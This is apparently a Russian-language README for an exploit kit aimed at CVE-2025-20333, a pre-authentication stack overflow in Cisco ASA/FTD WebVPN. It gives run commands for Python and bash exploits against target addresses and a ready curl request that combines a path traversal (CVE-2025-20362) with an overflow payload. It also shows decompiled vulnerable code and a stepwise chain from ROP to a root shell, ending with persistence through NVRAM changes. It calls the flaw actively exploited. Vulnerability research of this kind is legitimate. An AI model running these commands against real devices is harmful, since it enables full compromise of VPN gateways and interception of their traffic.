
Полный исследовательский и эксплуатационный набор для CVE-2025-20333 — критического переполнения буфера стека в Cisco ASA/FTD WebVPN. Включает подробный анализ бинарного кода, PoC-эксплойты на Python и bash, а также руководство по эксплуатации.
Этот каталог содержит всесторонние исследования, анализ и код доказательства концепции для CVE-2025-20333 — критической уязвимости переполнения буфера стека в серверах Cisco ASA/FTD WebVPN.
Статус: ⚠️ Активно эксплуатируется в дикой природе (кампания ArcaneDoor)
Оценка CVSS: 9.8 Критическая
Требуется аутентификация: Нет (обходится через CVE-2025-20362)
Воздействие: Удалённое выполнение кода с правами root
CVE-2025-20333-RESEARCH-NOTES.md (20 КБ)Полное исследование методом обратной разработки
Ключевая находка:
Фиксированный 16-байтовый буфер (local_58[16]) в body_lexer.re2c
Цикл URL-декодирования НЕ ИМЕЕТ ПРОВЕРКИ ГРАНИЦ
Запись в local_58[iVar11] без проверки iVar11 < 16
После 8 шестнадцатеричных пар: переполнение → повреждение стека → RCE
EXPLOITATION-GUIDE.md (12 КБ)Практическое руководство по эксплуатации
cve-2025-20333-poc.py (15 КБ)Полнофункциональный эксплойт на Python
Возможности:
Использование:
# Показать детали уязвимости
python3 cve-2025-20333-poc.py --details
# Эксплуатация цели
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Пользовательские настройки
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 КБ)Лёгкий bash-эксплойт
Возможности:
Использование:
# Показать детали
./cve-2025-20333-poc.sh --details
# Эксплуатация
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Вручную с curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Свойство | Значение |
|---|---|
| ID CVE | CVE-2025-20333 |
| Тип | Переполнение буфера стека (CWE-120) |
| Компонент | body_lexer.re2c (FUN_0302e690) |
| Затронутые версии | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (Критическая) |
| Аутентификация | Не требуется (через CVE-2025-20362) |
| Взаимодействие с пользователем | Нет |
| Воздействие | RCE с правами root, полная компрометация системы |
| Статус | Активно эксплуатируется (май 2025+) |
| Ответственное раскрытие | Cisco выпустила патч; опубликован бюллетень |
// body_lexer.re2c — цикл URL-декодирования
byte local_58[16]; // ← Фиксированный 16-байтовый буфер
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← НЕТ ПРОВЕРКИ ГРАНИЦ!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Триггер переполнения: 9+ последовательных последовательностей %XX в теле POST-запроса
1. Злоумышленник (АУТЕНТИФИКАЦИЯ НЕ ТРЕБУЕТСЯ)
↓
2. HTTP POST на /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: обход пути обходит проверку аутентификации
└─ Достигает конечной точки files_retr.lua (auth_flag = 0)
↓
3. Тело POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ URL-кодированных пар)
↓
4. body_lexer.re2c обрабатывает тело POST
├─ Накопление шестнадцатеричных пар в local_58[16]
└─ После 8 пар: ПЕРЕПОЛНЕНИЕ!
↓
5. Повреждение стека
├─ Перезапись local_48, local_40
├─ Перезапись сохранённого RBP
└─ Перезапись сохранённого RIP (адреса возврата)
↓
6. Перехват потока управления
├─ RIP указывает на ROP-гаджеты
├─ ROP-цепочка настраивает execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE с правами root (процесс lina работает с правами root)
├─ Полная компрометация VPN-сервера
├─ Доступ ко всему VPN-трафику
└─ Постоянство через модификацию NVRAM
lina в Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] без проверки границПодтвердите авторизацию
Запустите эксплойт
# Быстрая проверка: реагирует ли цель на попытку эксплуатации?
python3 cve-2025-20333-poc.py <target_ip>
# Или bash-версия:
./cve-2025-20333-poc.sh <target_ip>
Проверьте эксплуатацию
Задокументируйте результаты
Прочитайте исследовательские заметки
CVE-2025-20333-RESEARCH-NOTES.mdИзучите PoC